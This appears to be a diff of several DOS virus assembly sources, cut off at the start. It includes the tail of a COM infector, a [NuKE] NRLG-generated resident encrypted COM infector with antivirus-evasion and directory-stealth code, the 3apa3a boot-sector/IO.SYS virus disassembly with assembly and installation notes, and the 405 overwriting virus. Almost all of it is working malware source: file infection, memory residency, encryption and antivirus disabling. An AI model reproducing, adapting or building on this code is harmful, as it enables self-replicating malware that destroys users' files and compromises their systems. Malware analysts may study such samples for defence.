mov cx,17Eh ; number of bytes
nop
mov dx,data_15e ; buffer to hold the
nop ; bytes
int 21h
mov ah,3Eh ; close the file
int 21h
mov bx,cs:data_15e
cmp bx,0EBh
je loc_7
mov ah,43h ; get attrib
mov al,0
mov dx,data_1e ; filename
int 21h
mov ah,43h ; set attrib
mov al,1
and cx,0FEh
int 21h
mov ah,3Dh ; open up the file
mov al,2
mov dx,data_1e ; filename
int 21h
mov bx,ax ; filename
mov ah,57h ; get files date and
mov al,0 ; time
int 21h
push cx ; save time
push dx
mov dx,word ptr cs:[23Ch]
mov cs:data_17e,dx
mov dx,word ptr cs:data_15e+1
lea cx,cs:[13Bh]
sub dx,cx
mov word ptr cs:[23Ch],dx
mov ah,40h ; write to file
mov cx,17Eh ; size of virus [382]
nop
lea dx,ds:[100h] ; Load effective addr
int 21h
mov ah,57h ; set files time+date
mov al,1
pop dx ; get old date+time
pop cx
int 21h
mov ah,3Eh ; close up the file
int 21h
mov dx,cs:data_17e
mov word ptr cs:[23Ch],dx
loc_9:
call sub_1
jmp $-3618h
db 0B4h, 4Ch,0CDh, 21h ; bytes to quit
; mov ax,4c00h
; int 21
382 endp
sub_1 proc near
mov ah,3Bh ; set current dir
lea dx,data_12 ; holds current
int 21h ; directory
retn
sub_1 endp
data_4 dw 0
data_5 db 2Ah
db 2Eh, 63h, 6Fh, 6Dh, 00h
data_6 db 2Ah
db 0
data_7 db 0FFh
db 00h, 00h, 00h, 00h, 00h, 3Fh
db 00h
db 3Fh
db 7 dup (3Fh)
db 65h, 78h, 65h, 00h, 00h, 00h
db 00h, 00h
db 3Fh
db 7 dup (3Fh)
db 63h, 6Fh, 6Dh, 00h
data_10 db 5Ch
db 0
data_11 db 4
data_12 db 5Ch
data_13 db 0
seg_a ends
end start
@@ -0,0 +1,454 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿinc word ptr [di]
not byte ptr [di]
sub word ptr [di],0bb4h
xor byte ptr [di],049h
xor word ptr [di],0e373h
sub word ptr [di],0ec3h
add word ptr [di],0e273h
add byte ptr [di],01h
inc word ptr [di]
xor byte ptr [di],02ah
xor word ptr [di],07ab0h
not word ptr [di]
xor byte ptr [di],071h
not byte ptr [di]
xor word ptr [di],0294ah
xor byte ptr [di],0ebh
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿcall ANTI_V
;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿxor byte ptr [di],0ebh
xor word ptr [di],0294ah
not byte ptr [di]
xor byte ptr [di],071h
not word ptr [di]
xor word ptr [di],07ab0h
xor byte ptr [di],02ah
dec word ptr [di]
sub byte ptr [di],01h
sub word ptr [di],0e273h
add word ptr [di],0ec3h
xor word ptr [di],0e373h
xor byte ptr [di],049h
add word ptr [di],0bb4h
not byte ptr [di]
dec word ptr [di]
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;------------------------
action: ;Nothing Action!
NOP ;only replicate
ret ;Return to call
;------------------------
ÿ;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------
ÿ;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 014H ;day for the action
action_mes Db 02H ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
@@ -0,0 +1,520 @@
; To assemble, simple run TASM and TLINK on this file and generate a binary.
; The first 512d bytes of the binary will contain the portion of the virus
; which resides in IO.SYS. The second 512d bytes will contain the boot
; section portion of the virus.
; Installation is slightly more difficult. It requires you to simulate
; an infection with 3apa3a. Read the text above for information. Basically,
; you have to fill in the BPB in the boot sector, fill in the patch values,
; and then move the pieces onto the disk properly.
.model tiny
.code
.radix 16
org 0
; 3apa3a virus
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14
zero:
_3apa3a: push cs
call doffset
doffset: pop si
db 83,0EE,4 ; sub si,4
push si ax bx cx dx ds es
mov ah,4 ; get date
int 1Ah
cmp dh,8 ; september?
jne no_activate
lea bx,cs:[si+message-_3apa3a]
mov ax,0E42 ; begin with B
mov cx,endmessage - message
display_loop: int 10 ; print character
add al,cs:[bx] ; calculate next character
inc bx
loop display_loop
no_activate: cld
xor ax,ax ; ds = 0
mov ds,ax
push cs ; es = cs
pop es
lea di,[si+offset old_i13]
push si
mov si,13*4 ; grab old int 13 handler
movsw
movsw
mov ax,ds:413 ; get BIOS memory size
dec ax ; decrease by 2K
dec ax
mov ds:413,ax ; replace the value
mov cl,6 ; convert to paragraphs
shl ax,cl
mov [si-2],ax ; replace interrupt handler
mov word ptr [si-4],offset i13
mov es,ax ; move ourselves up
push cs
pop ds si
xor di,di
mov cx,200
push si
rep movsw ; copy now!
inc ch ; cx = 1
sub si,200 ; copy rest
rep movsw
pop si
push cs es
mov ax,offset highentry
push ax
retf
highentry: mov ax,7C0
mov ds,ax
mov word ptr ds:200,201
mov byte ptr ds:202,80
les ax,dword ptr cs:203
mov dx,es
pop es
mov bx,si
mov cx,1
mov word ptr cs:3C2,0FCF0 ; patch work_on_sectors to call
call work_on_sectors ; do_i13
pop es ds dx cx bx ax
retf
message: db ' ' - 'B'
db 'B' - ' '
db 'O' - 'B'
db 'O' - 'O'
db 'T' - 'O'
db ' ' - 'T'
db 'C' - ' '
db 'E' - 'C'
db 'K' - 'E'
db 'T' - 'K'
db 'O' - 'T'
db 'P' - 'O'
db 'E' - 'P'
db ' ' - 'E'
db '-' - ' '
db ' ' - '-'
db '3' - ' '
db 'A' - '3'
db 'P' - 'A'
db 'A' - 'P'
db '3' - 'A'
db 'A' - '3'
db '!' - 'A'
db 7 - '!'
db 0Dh - 7
db 10 - 0Dh
endmessage:
do_i13: mov ax,ds:200
mov dl,ds:202
mov byte ptr cs:patch,0EBh ; jmp absolute
int 13 ; do interrupt
mov byte ptr cs:patch,75 ; jnz
jc retry_error
cld
retn
retry_error: cmp dl,80 ; first hard drive?
je do_i13 ; if so, retry
go_exit_i13: jmp exit_i13 ; otherwise quit
i13: push ax bx cx dx si di ds es bp
mov bp,sp
test dl,80 ; hard drive?
patch: jnz go_exit_i13
add dh,cl ; check if working on
add dh,ch ; boot sector or
cmp dh,1 ; partition table
ja go_exit_i13 ; if not, quit
mov ax,cs ; get our current segment
add ax,20 ; move up 200 bytes
mov ds,ax
mov es,ax
mov word ptr ds:200,201 ; set function to read
mov ds:202,dl ; set drive to hard drive
mov bx,400 ; set buffer
xor dx,dx ; read in the boot sector
push dx
mov cx,1
call do_i13 ; read in boot sector
cmp byte ptr ds:400+21,2E ; check if 3apa3a already there
je go_exit_i13
cmp byte ptr ds:400+18,0
je go_exit_i13
push cs
pop es
mov di,203
mov si,403
mov cx,1Bh ; copy disk tables
cld
rep movsb
sub si,200 ; copy the rest
mov cx,1E2
rep movsb
inc byte ptr ds:201 ; set to write
mov ax,ds:16 ; get sectors per FAT
mul byte ptr ds:10 ; multiply by # FATs
mov bx,ds:11 ; get number of sectors
mov cl,4 ; occupied by the root
shr bx,cl ; directory
db 83,0FBh,5 ; cmp bx,5 ; at least five?
jbe go_exit_i13 ; if not, quit
add ax,bx ;
add ax,ds:0E ; add # reserved sectors
dec ax ; drop two sectors to find
dec ax ; start of last sector
xor dx,dx ; of root directory
push ax dx
call abs_sec_to_BIOS
mov ds:patch1-200,cx ; move original boot
mov ds:patch2-200,dh ; sector to the end of the
xor bx,bx ; root directory
call do_i13
pop dx ax
dec ax
call abs_sec_to_BIOS
mov ds:34,cx ;patch3 ; write io portion to
mov ds:37,dh ;patch4
add bh,6 ; bx = 600
call do_i13
push ds
xor ax,ax
mov ds,ax
mov dx,ds:46C ; get timer ticks
pop ds
mov bl,dl ; eight possible instructions
db 83,0E3,3 ; and bx,3
push bx
shl bx,1 ; convert to word index
mov si,bx
mov cx,es:[bx+encrypt_table]
pop bx
push bx
mov bh,bl
shr bl,1 ; bl decides which ptr to use
lea ax,cs:[bx+2BBE] ; patch pointer
mov ds:[decrypt-bs_3apa3a],ax ; and start location
add ch,bl
mov ds:[encrypt_instr-bs_3apa3a],cx
add ax,0CF40
mov ds:[patch_endptr-bs_3apa3a],ax
pop ax
push ax
mul dh
add al,90 ; encode xchg ax,??
add bl,46 ; encode inc pointer
mov ah,bl
mov ds:[patch_incptr-bs_3apa3a],ax
mov dx,word ptr cs:[si+decrypt_table]
mov word ptr cs:decrypt_instr,dx
pop di
db 83,0C7 ;add di,XX ; start past decryptor
dw bs_3apa3a_decrypt - bs_3apa3a
org $ - 1
mov si,di
push ds
pop es
mov cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt
mov ah,al
encrypt_loop: lodsb
decrypt_instr: add al,ah
stosb
loop encrypt_loop
pop dx
mov cx,1 ; write the replacement
xor bx,bx ; boot sector to the disk
call do_i13
exit_i13: mov sp,bp
pop bp es ds di si dx cx bx ax
db 0EAh
old_i13 dw 0, 0
decrypt_table: not al
sub al,ah
add al,ah
xor al,ah
encrypt_table dw 014F6 ; not
dw 0480 ; add
dw 2C80 ; sub
dw 3480 ; xor
; This marks the end of the IO.SYS only portion of 3apa3a
; The boot sector portion of 3apa3a follows.
adj_ofs = 7C00 + zero - bs_3apa3a
bs_3apa3a: jmp short decrypt
nop
; The following is an invalid boot sector. Replace it with
; yours.
db ' '
db 00, 00, 00, 00, 00, 00
db 00, 00, 00, 00, 00, 00
db 00, 00, 00, 00, 00, 00
db 00
decrypt: db 0BF ; mov di,
dw adj_ofs + bs_3apa3a_decrypt
decrypt_loop: db 2e ; cs:
encrypt_instr label word
db 80,2Dh ; sub byte ptr [di],XX
patch_incptr label word
db 0 ; temporary value for cryptval
inc di
db 81 ; cmp
patch_endptr label word
db 0ff ; pointer
dw adj_ofs + end_crypt
jne decrypt_loop
bs_3apa3a_decrypt = $ - 1
jmp short enter_bs_3apa3a
nop
load_original: xor dx,dx ; set up the read
mov es,dx ; of the original boot sector
db 0B9 ; mov cx, XXXX
patch3 dw 3
db 0B6
patch4 db 1
mov bx,ds ; es:bx = 0:7C00
mov ax,201
db 0ebh ; jump to code in stack
dw bs_3apa3a - 4 - ($ + 1)
org $ - 1
enter_bs_3apa3a:cli
xor ax,ax
mov ss,ax ; set stack to just below us
mov sp,7C00
sti
mov dl,80 ; reset hard drive
int 13
mov ax,2F72 ; encode JNZ load_original at
; 7BFE
mov ds,sp ; set segment registers to
mov es,sp ; 7C00
push ax
mov word ptr ds:200,201 ; do a read
mov ds:202,dl ; from the hard drive
xor bx,bx ; read to 7C00:0
mov dh,1 ; read head 1
mov cx,1 ; read sector 1
; (assumes active boot
; sector is here)
mov ax,13CDh ; encode int 13 at 7BFC
push ax
call exec_int13 ; do the read
mov bx,203
cmp byte ptr [bx-4],0AA ; is it valid bs?
jnz_load_original:
jne load_original ; if not, assume infected and
; transfer control to it
mov ax,ds:13 ; get number of sectors in
dec ax ; image - 1
cmp ax,5103 ; hard drive too small? (5103h
jbe load_original ; sectors ~ 10.6 megs)
mov ax,ds:1C ; get number hidden sectors
add ax,ds:0E ; add number reserved sectors
mov ds:9,ax ; store at location that holds
; the end of OEM signature
add ax,ds:16 ; add sectors per FAT
dec ax ; go down two sectors
dec ax
push ax
xor dx,dx
mov cx,dx
call work_on_sectors ; load end of FAT to 7C00:203
mov ax,ds:16 ; get sectors per FAT
push ax ; save the value
mul byte ptr ds:10 ; multiply by # FATs
add ax,ds:9 ; calculate start of root dir
mov ds:7,ax ; store it in work buffer
mov cl,4
mov si,ds:11 ; get number sectors the
shr si,cl ; root directory takes
add si,ax ; and calculate start of data
mov ds:5,si ; area and store it in buffer
call work_on_sectors ; get first 5 sectors of the
; root directory
test byte ptr ds:403+0Bh,8 ; volume label bit set on first
; entry? (infection marker)
jne_load_original: ; if so, already infected, so
jnz jnz_load_original ; quit
xor si,si
mov bx,1003
mov ax,ds:403+1A ; get starting cluster number
; of IO.SYS
read_IO_SYS: push ax ; convert cluster to absolute
call clus_to_abs_sec ; sector number
call work_on_sector ; read in one cluster of IO.SYS
inc si
pop ax
push bx ax
mov bx,403+0A00 ; read into this buffer
push bx
mov al,ah ; find the sector with the FAT
xor dx,dx ; entry corresponding to this
mov ah,dl ; cluster
add ax,ds:9
call work_on_sectors ; read in the FAT
pop bx ax
mov ah,dl
shl ax,1
mov di,ax
mov ax,[bx+di] ; grab the FAT entry (either EOF
; or next cluster number)
pop bx ; corresponding to this cluster
cmp ax,0FFF0 ; is there any more to read?
jb read_IO_SYS ; if so, keep going
inc byte ptr ds:201 ; change function to a write
pop cx
dec cx
dec cx
mov ds:4,cl
mov di,401 ; scan the end of the FAT
mov cx,100
mov bp,-1
copy_IO_SYS: xor ax,ax ; look for unused clusters
repne scasw
jnz jne_load_original
mov [di+2],bp
mov bx,cx
mov bh,ds:4
mov bp,bx ; save starting cluster of
push bp cx ; where IO.SYS will be moved
mov ah,ds:0Dh
shl ax,1
dec si
mul si
mov bx,ax
add bx,1003
mov ax,bp
call clus_to_abs_sec
call work_on_sector ; move IO.SYS to end of HD
pop cx bp
or si,si
jnz copy_IO_SYS
mov si,0DE1 ; move all but the first two
mov di,0E01 ; directory entries down one
mov cx,4D0 ; (10 dir entries / sector,
rep movsw ; 5 sectors)
; DF set by exec_int13
mov si,421 ; move IO.SYS entry down two
mov cx,10 ; entries
rep movsw
mov ds:400+2*20+1Dh,bp ; set starting cluster of the
; moved original IO.SYS
or byte ptr ds:40E,8 ; set volume label bit on first
; IO.SYS entry
mov bx,403 ; point to root directory
mov ax,ds:7 ; get starting cluster of
xor dx,dx ; root dir
mov cl,4
call work_on_sectors ; write updated root directory
pop ax ; to the disk
write_FATs: mov bx,203 ; point to the updated FAT
call work_on_sectors ; write changed end of FAT
dec ax
add ax,ds:16 ; add sectors per FAT
dec byte ptr ds:10 ; processed all the FATs?
jnz write_FATs
mov ax,bp
call clus_to_abs_sec
mov cs:7C03,ax ; store the values
mov cs:7C05,dx
mov byte ptr cs:7C01,1Ch
xor ax,ax ; reset default drive
mov dx,ax
int 13
mov ax,201 ; read in original boot sector
; You must patch the following values if you are installing 3apa3a on a disk
db 0b9 ; mov cx, XXXX
patch1 dw 0
db 0b6 ; mov dh, XX
patch2 db 0
mov bx,0E03
call perform_int13
mov ax,ds:403+1A ; get starting cluster number
call clus_to_abs_sec ; of IO.SYS
xor cx,cx
call work_on_sectors
mov bx,ds
mov es,cx
call work_on_sectors
go_load_original:
jmp load_original
exec_int13: mov ax,ds:200 ; get function from memory
mov dl,ds:202 ; get drive from memory
perform_int13: int 13
jc go_load_original
std
retn
work_on_sectors:inc cx
work_on_sector: push cx dx ax
call abs_sec_to_BIOS
call exec_int13
pop ax dx cx
add ax,1 ; calculate next sector
db 83,0D2,0 ; adc dx,0 ; (don't use INC because
add bh,2 ; INC doesn't set carry)
loop work_on_sector ; do it for the next sector
retn
abs_sec_to_BIOS:div word ptr ds:18 ; divide by sectors per track
mov cx,dx
inc cl
xor dx,dx
div word ptr ds:1A ; divide by number of heads
ror ah,1
ror ah,1
xchg ah,al
add cx,ax
mov dh,dl
retn
clus_to_abs_sec:mov cl,ds:0Dh ; get sectors per cluster
xor ch,ch ; (convert to word)
dec ax
dec ax
mul cx ; convert cluster number to
add ax,ds:5 ; absolute sector number
end_crypt: db 83,0D2,0 ; adc dx,0
retn
dw 0AA55 ; boot signature
end _3apa3a
@@ -0,0 +1,177 @@
;405 virus
;disassembled 10th March 1991 by Fred Deakin.
;
start:
xchg si,ax ;96 }marker bytes ?
add [bx+si],al ;00 00 }
sahf ;9e }
add [bx+si],al ;00 00 }
nop ;90 }
mov ax,0000h ;clear ax
mov byte es:[drive],al ;default drive?
mov byte es:[dir_path],al ;clear first byte in directory path
mov byte es:[l_drvs],al ;clear logical drives
push ax ;save ax
mov ah,19h ;get current drive
int 21h ;call msdos
mov byte es:[drive],al ;and save
mov ah,47h ;get directory path
add al,01h ;add 1 to drive code
push ax ;and save
mov dl,al ;move drive code to dl
lea si,[dir_path] ;si=offset address of directory buffer
int 21h ;call msdos
pop ax ;get back drive code
mov ah,0eh ;set default drive
sub al,01h ;subtract and get logical drive
mov dl,al ;drive wanted
int 21h ;call msdos
mov byte es:[l_drvs],al ;store how many logical drives
l0139:
mov al,byte es:[drive] ;get default drive
cmp al,00h ;drive a:?
jnz l0152 ;if not jump forward
mov ah,0eh ;set default drive
mov dl,02h ;drive c:
int 21h ;call msdos
mov ah,19h ;get current drive
int 21h ;call msdos
mov byte es:[c_drv],al ;and save
jmp l0179 ;jump forward
nop ;no operation
l0152:
cmp al,01h ;drive b:?
jnz l0167 ;jump forward if not
mov ah,0eh ;set default drive
mov dl,02h ;to drive c:
int 21h ;call msdos
mov ah,19h ;get current drive
int 21h ;call msdos
mov byte es:[c_drv],al ;and save
jmp l0179 ;jump forward
nop ;no operation
l0167:
cmp al,02h ;drive c:?
jnz l0179 ;if not jump forward
mov ah,0eh ;set default drive
mov dl,00h ;drive a:
int 21h ;call msdos
mov ah,19h ;get current drive
int 21h ;call msdos
mov byte es:[c_drv],al ;and save
l0179:
mov ah,4eh ;search for first
mov cx,0001h ;file attributes
lea dx,[f_name] ;point to file name
int 21h ;call msdos
jb l0189 ;no .COM files
jmp l01a9 ;found one
nop ;no operation
l0189:
mov ah,3bh ;set directory
lea dx,[l0297] ;point to path
int 21h ;call msdos
mov ah,4eh ;search for first
mov cx,0011h ;set attributes
lea dx,[l0292] ;
int 21h ;call msdos
jb l0139 ;no .COM files
jmp l0179 ;jump back
l01a0:
mov ah,4fh ;search for next
int 21h ;call msdos
jb l0189 ;no .COM files found
jmp l01a9 ;found one
nop ;no operation
l01a9:
mov ah,3dh ;open file
mov al,02h ;for read/write access
mov dx,009eh ;offset address of path name
int 21h ;call msdos
mov bx,ax ;save file handle
mov ah,3fh ;read file
mov cx,0195h ;would you believe 405 bytes to read
nop ;no operation
mov dx,0e000h ;offset address of buffer
nop ;no operation
int 21h ;call msdos
mov ah,3eh ;close file
int 21h ;call msdos
mov bx,es:[0e000h] ;get first byte of loaded buffer
cmp bx,9600h ;405 virus already installed?
jz l01a0 ;yes jump back and search for next
mov ah,43h ;get/set file attributes
mov al,00h ;get file attributes
mov dx,009eh ;offset address of path name
int 21h ;call msdos
mov ah,43h ;get/set file attributes
mov al,01h ;set file attributes
and cx,00feh ;no files read only
int 21h ;call msdos
mov ah,3dh ;open file
mov al,02h ;for read/write access
mov dx,009eh ;offset address of path name
int 21h ;call msdos
mov bx,ax ;save file handle in bx
mov ah,57h ;get/set date and time
mov al,00h ;get file date and time
int 21h ;call msdos
push cx ;file time
push dx ;file date
mov dx,cs:[0295h] ;get variable byte?
mov cs:[0e195h],dx ;place at end of file loaded
mov dx,cs:[0e001h] ;get second byte in buffer
lea cx,ds:[0194h] ;
sub dx,cx ;
mov cs:[0295h],dx ;place at end of file
mov ah,40h ;write file
mov cx,0195h ;amount of bytes to write
nop ;no operation
lea dx,[start] ;get starting location
int 21h ;call msdos
mov ah,57h ;get/set file date and time
mov al,01h ;set file date and time
pop dx ;file date
pop cx ;file time
int 21h ;call msdos
mov ah,3eh ;close file
int 21h ;call msdos
mov dx,cs:[0e195h] ;get variable
mov cs:[0295h],dx ;place at end of file
jmp l0234 ;jump forward
nop ;no operation
l0234:
mov ah,0eh ;set default drive
mov dl,byte cs:[drive] ;get back original default drive
int 21h ;call msdos
mov ah,3bh ;set directory
lea dx,[c_drv] ;8d 16 4a 02
int 21h ;call msdos
mov ah,00h ;return to dos
int 21h ;call msdos
drive:
db 02 ;drive variable
c_drv:
db 00 ;current drive
dir_path:
db "TEST"
db 00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00
